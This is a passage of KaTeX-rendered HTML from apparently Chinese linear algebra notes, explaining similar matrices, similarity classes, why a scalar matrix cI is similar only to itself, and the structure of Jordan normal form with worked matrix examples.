columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><mo separator="true">,</mo><mi>B</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> A = \begin{bmatrix} 1 &amp; 1 \\ 0 &amp; 1 \end{bmatrix}, B = \begin{bmatrix} 1 &amp; 0 \\ 0 &amp; 1 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p></p><p>后者是一个对角矩阵、单位矩阵，但是它没法取 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi></mrow><annotation encoding="application/x-tex"> M </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span> 使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo>=</mo><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>A</mi><mi>M</mi></mrow><annotation encoding="application/x-tex"> B = M^{-1} A M </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>，虽然他们有相同的特征值 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> \lambda = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。</p><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi><mi>I</mi></mrow><annotation encoding="application/x-tex"> cI </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi></mrow><annotation encoding="application/x-tex"> c </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">c</span></span></span></span> 是标量，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>I</mi></mrow><annotation encoding="application/x-tex"> I </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span> 是单位矩阵，它的相似矩阵只有它自己。取可逆矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi></mrow><annotation encoding="application/x-tex"> M </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>，则有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mo stretchy="false">(</mo><mi>c</mi><mi>I</mi><mo stretchy="false">)</mo><mi>M</mi><mo>=</mo><mi>c</mi><mo stretchy="false">(</mo><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>I</mi><mi>M</mi><mo stretchy="false">)</mo><mo>=</mo><mi>c</mi><mi>I</mi></mrow><annotation encoding="application/x-tex"> M^{-1} (cI) M = c (M^{-1} I M) = cI </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mclose">)</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord mathnormal">c</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span>。</p><hr /><p>对于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span>，可以取无穷个可逆矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi></mrow><annotation encoding="application/x-tex"> M </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>，使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi><mo>=</mo><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>A</mi><mi>M</mi></mrow><annotation encoding="application/x-tex"> B = M^{-1} A M </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>，这些 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span> 的相似矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex"> B </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span></span></span></span> 组成一个相似类，他们有相同的特征值、行列式、迹等性质，互相之间可以通过相似变换转换，同时他们表达了同一个线性变换，只是基不同。（基由 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi></mrow><annotation encoding="application/x-tex"> M </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span> 决定）</p><p>在这些相似类中，有的矩阵可以对角化，有的不能对角化。可对角化的可以都由其对角矩阵相似变换得到，其他的则例如上面的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> A = \begin{bmatrix} 1 &amp; 1 \\ 0 &amp; 1 \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span> 这种形式，他们都可以由对应的 Jordan 标准型相似变换而来。对角矩阵这种相似类里面，更特殊的就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi><mi>I</mi></mrow><annotation encoding="application/x-tex"> cI </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">c</span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span> 这种形式。</p><h2 id="jordan-标准型-jordan-normal-form"><a class="markdownIt-Anchor" href="#jordan-标准型-jordan-normal-form"></a> Jordan 标准型 Jordan Normal Form</h2><p>对于任意矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi></mrow><annotation encoding="application/x-tex"> A </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span></span></span></span>，都存在一个可逆矩阵 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>M</mi></mrow><annotation encoding="application/x-tex"> M </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>，使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>J</mi><mo>=</mo><msup><mi>M</mi><mrow><mo>−</mo><mn>1</mn></mrow></msup><mi>A</mi><mi>M</mi></mrow><annotation encoding="application/x-tex"> J = M^{-1} A M </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.09618em;">J</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>J</mi></mrow><annotation encoding="application/x-tex"> J </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.09618em;">J</span></span></span></span> 是 Jordan 标准型矩阵。</p><p><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>J</mi></mrow><annotation encoding="application/x-tex"> J </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.09618em;">J</span></span></span></span> 是由 Jordan 块组成的块对角矩阵。Jordan 块是一个上三角矩阵，对角线上的元素都是同一个标量 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi></mrow><annotation encoding="application/x-tex"> \lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span></span></span></span>，紧接着主对角线上方的元素（上次对角线）全是 1，其余元素全是 0。</p><p>例如，矩阵 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>J</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>λ</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>λ</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>μ</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex"> J = \begin{bmatrix} \lambda &amp; 1 &amp; 0 \\ 0 &amp; \lambda &amp; 0 \\ 0 &amp; 0 &amp; \mu \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.09618em;">J</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.6em;vertical-align:-1.55em;"></span><span class="minner"><span class="mopen"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M403 1759 V84 H666 V0 H319 V1759 v0 v1759 h347 v-84H403z M403 1759 V0 H319 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">λ</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">λ</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.21em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span><span style="top:-1.81em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">μ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span><span class="mclose"><span class="delimsizing mult"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:2.05em;"><span style="top:-4.05em;"><span class="pstrut" style="height:5.6em;"></span><span style="width:0.667em;height:3.600em;"><svg xmlns="http://www.w3.org/2000/svg" width="0.667em" height="3.600em" viewBox="0 0 667 3600"><path d="M347 1759 V0 H0 V84 H263 V1759 v0 v1759 H0 v84 H347zM347 1759 V0 H263 V1759 v0 v1759 h84z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.55em;"><span></span></span></span></span></span></span></span></span></span></span></span></p> 有两个 Jordan 块：一个是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mo>×</mo><mn>2</mn></mrow><annotation encoding="application/x-tex"> 2 \times 2 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span> 的块 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>λ</mi></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>1</mn></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>0</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>λ</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><annotation encoding="application/x-tex"> \begin{bmatrix} \lambda &amp; 1 \\ 0 &amp; \lambda \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.4em;vertical-align:-0.95em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">λ</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.45em;"><span style="top:-3.61em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">λ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.95em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">]</span></span></span></span></span></span></span></p>，对应特征值 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>λ</mi></mrow><annotation encoding="application/x-tex"> \lambda </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">λ</span></span></span></span>，另一个是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>×</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> 1 \times 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 的块 <p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mi>μ</mi></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow><annotation encoding="application/x-tex"> \begin{bmatrix} \mu \end{bmatrix} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.2em;vertical-align:-0.35em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size1">[</span></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.85em;"><span style="top:-3.01em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">μ</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.35em;"><span></span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size1">]</span></span></span></span></span></span></span></p>，对应特征值 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>μ</mi></mrow><annotation encoding="application/x-tex"> \mu </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">μ</span></span></span></span>。</p><p>特殊的，对角矩阵就是 Jordan 标准型的特例，每个 Jordan 块为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center" 